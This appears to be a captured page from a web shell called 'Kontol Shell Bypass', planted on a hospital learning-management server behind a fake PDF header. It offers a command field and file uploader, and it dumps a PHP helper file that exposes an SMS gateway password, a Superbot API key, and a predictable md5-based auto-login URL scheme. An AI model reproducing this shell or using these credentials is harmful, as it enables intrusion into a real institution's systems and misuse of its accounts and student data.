%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /var/www/html/shardahospital.org/shardalms/student-panel/api/application/helpers/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : /var/www/html/shardahospital.org/shardalms/student-panel/api/application/helpers/site_helper.php
<?php
/** Constrants **/
define('SITE_NAME', 		'LMS Front');
define('VERSION', 			time());
define('USR_SESSION_NAME',	'LmsUser');

define('URL', 				base_url());
define('UP_URL', 			URL.'uploads/');
define('THEME_URL',			URL."theme/");
define('UP_PATH', 			FCPATH.'uploads'.DIRECTORY_SEPARATOR);

define('URLF', 				str_replace('student-panel/api/', '', base_url()));
define('UP_URLF', 			URLF.'uploads/');
define('UP_PATHF', 			str_replace('student-panel'.DIRECTORY_SEPARATOR.'api'.DIRECTORY_SEPARATOR, '', FCPATH).'uploads'.DIRECTORY_SEPARATOR);

define('CURRENT_URL', 		'http://'.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']);
define('CURRENCY', 			'Rs.');

define('SUAT_SLOT_BOOK_URL', 	'https://slotbooking.sharda.ac.in/');

/** Functions */
function create_pdf($html_data, $filename="", $action='D', $page_type="A4") {
    error_reporting(0);
	ini_set('memory_limit', '1024M');
	set_time_limit(0);
	require_once '../../mpdf/mpdf.php';
	$mypdf = new mPDF('utf-8', $page_type);
	$mypdf->packTableData = true;
	$mypdf->WriteHTML($html_data);
	$mypdf->Output($filename, $action);
}

function num_to_words_kwd($n){
	/** Invented and written by Satyendra :) **/
	$n=trim($n);
	if(!strlen($n)){
		return;
	}
	if($n===0 or $n==='0'){
		return 'Zero';
	}
	
	$n=explode(".", $n);
	$numbers=array();
	$numbers[]=intval($n[0]);
	$point=isset($n[1])?intval(substr($n[1].'00', 0,3)):0;
	if($point){
		$numbers[]=$point;
	}
	$words=array('0' => '', '1' => 'one', '2' => 'two', '3' => 'three', '4' => 'four', '5' => 'five', '6' => 'six', '7' => 'seven', '8' => 'eight', '9' => 'nine', '10' => 'ten', '11' => 'eleven', '12' => 'twelve', '13' => 'thirteen', '14' => 'fourteen', '15' => 'fifteen', '16' => 'sixteen', '17' => 'seventeen', '18' => 'eighteen', '19' => 'nineteen', '20' => 'twenty', '30' => 'thirty', '40' => 'forty', '50' => 'fifty','60' => 'sixty', '70' => 'seventy', '80' => 'eighty', '90' => 'ninety');
	
	$res=array();
	foreach($numbers as $number){
		$str1=array();
		$seg=array_chunk(array_reverse(str_split($number)), 3);
		$num_arr=array();
		foreach($seg as $r){
			$num_arr[]=implode('', array_reverse($r));
		}
		
		foreach($num_arr as $i=>$v){
			$num=intval($v);
			if($num<20){
				$str1[$i][]=$words[$num];
			}else{
				$d=1;
				while($num>0){
					if($d<=10){
						if($num%10){$str1[$i][]=$words[($num%10)*$d];}
					}else if($d==100){
						$str1[$i][]=$words[$num%10].' hundred';
					}
					$num=intval($num/10);
					$d=$d*10;
				}
			}
			$rev=array_reverse($str1[$i]);
			
			if(intval($v)>=20){
				$last2=intval(substr($number, -2, 2));
				if($last2<20 and $last2>10){
					unset($rev[count($rev)-1]);
					unset($rev[count($rev)-1]);
					$rev[]=$words[$last2];
				}
			}
			
			$str1[$i]=trim(implode(' ', $rev)).($i>1?' million':($i>0?' thousand':''));
		}
		$res[]=trim(implode(' ', array_reverse($str1)));
	}
	
	$rs=trim(ucfirst($res[0]));
	if(strlen($rs)){
		$rs=$rs.' KWD';
	}
	if(isset($res[1])){
		if(strlen($rs)){
			$rs=$rs.' and '.trim($res[1]).' FILS';
		}else{
			$rs=trim($res[1]).' FILS';
		}
	}
	return $rs;
}

function zero_format_no($no){
	return 'SUZ'.str_pad($no, 5, '0', STR_PAD_LEFT);
}

function generate_otp(){
	return rand(111111, 999999);
}

function send_sms($mob, $msg=''){
	if(ENVIRONMENT=='development'){
		return TRUE;
	}
	//$mob='91'.$mob;
	$msg=urlencode($msg);
	$ch = curl_init();
	curl_setopt($ch,CURLOPT_URL,  "http://bulkpush.mytoday.com/BulkSms/SingleMsgApi");
	curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
	curl_setopt($ch, CURLOPT_POST, 1);
	curl_setopt($ch, CURLOPT_POSTFIELDS, "feedid=363901&username=9015129267&password=wgtpt&To=".$mob."&Text=".$msg."&time=&senderid=shardacom_trans");
	$buffer = curl_exec($ch);
	curl_close($ch);
}

function generate_login_url($lpage, $mob=''){
	$lpage=rtrim($lpage, "/");
	if($mob){
		$url=$lpage.'/dashboard/auto-login/'.md5('app007'.$mob);
	}else{
		$url=$lpage.'/dashboard/login';
	}
	return $url;
}

function upload_img($name,$dir,$CI){
    if(!is_dir($dir)){
        mkdir($dir, 0777, true);
    }
    $config=array(
        'upload_path'=>$dir, 
        'allowed_types'=>'jpg|jpeg|png', 
        'max_size'=>'10240',
        'max_filename'=>80,
        'file_ext_tolower'=>true,
    );
    $CI->upload->initialize($config);
    if($CI->upload->do_upload($name)){
        return $CI->upload->data('file_name');
    }else{
        throw new Exception(strip_tags($CI->upload->display_errors()));
    }
}

function upload_img_pdf($name,$dir,$CI){
    if(!is_dir($dir)){
        mkdir($dir, 0777, true);
    }
    $config=array(
        'upload_path'=>$dir, 
        'allowed_types'=>'jpg|jpeg|png|pdf', 
        'max_size'=>'10240',
        'max_filename'=>80,
        'file_ext_tolower'=>true,
    );
    $CI->upload->initialize($config);
    if($CI->upload->do_upload($name)){
        return $CI->upload->data('file_name');
    }else{
        throw new Exception(strip_tags($CI->upload->display_errors()));
    }
}

function sendDataToSuperbot($superbotCampainId, $numbers){
	if(ENVIRONMENT=='development'){
		return TRUE;
	}

	$SUPERBOT_ID="1M6q8P2oqzRD";
	$SUPERBOT_APIKEY="4089be0f1a9a31b24312963e421ea027";

	$endpoint="https://mysuperbot.io/api/v2/superbot/$SUPERBOT_ID/campaign/$superbotCampainId/call";
	$data=['numbers'=>$numbers, 'lang'=>'en-IN'];

	$ch = curl_init();
	curl_setopt($ch, CURLOPT_URL, $endpoint);
	curl_setopt($ch, CURLOPT_TIMEOUT, 60);
	curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
	curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_ANY);
	curl_setopt($ch, CURLOPT_USERPWD, "$usr:$pwd");

	curl_setopt($ch, CURLOPT_POST, 1);
	curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($data));

	curl_setopt($ch, CURLOPT_HTTPHEADER, ['Content-Type: application/json', 'apiKey: '.$SUPERBOT_APIKEY]);

	$result=curl_exec ($ch);
	$status_code = (int)curl_getinfo($ch, CURLINFO_HTTP_CODE);
	curl_close ($ch);
	return [$status_code, json_decode($result, true)];
}

//EOF

Kontol Shell Bypass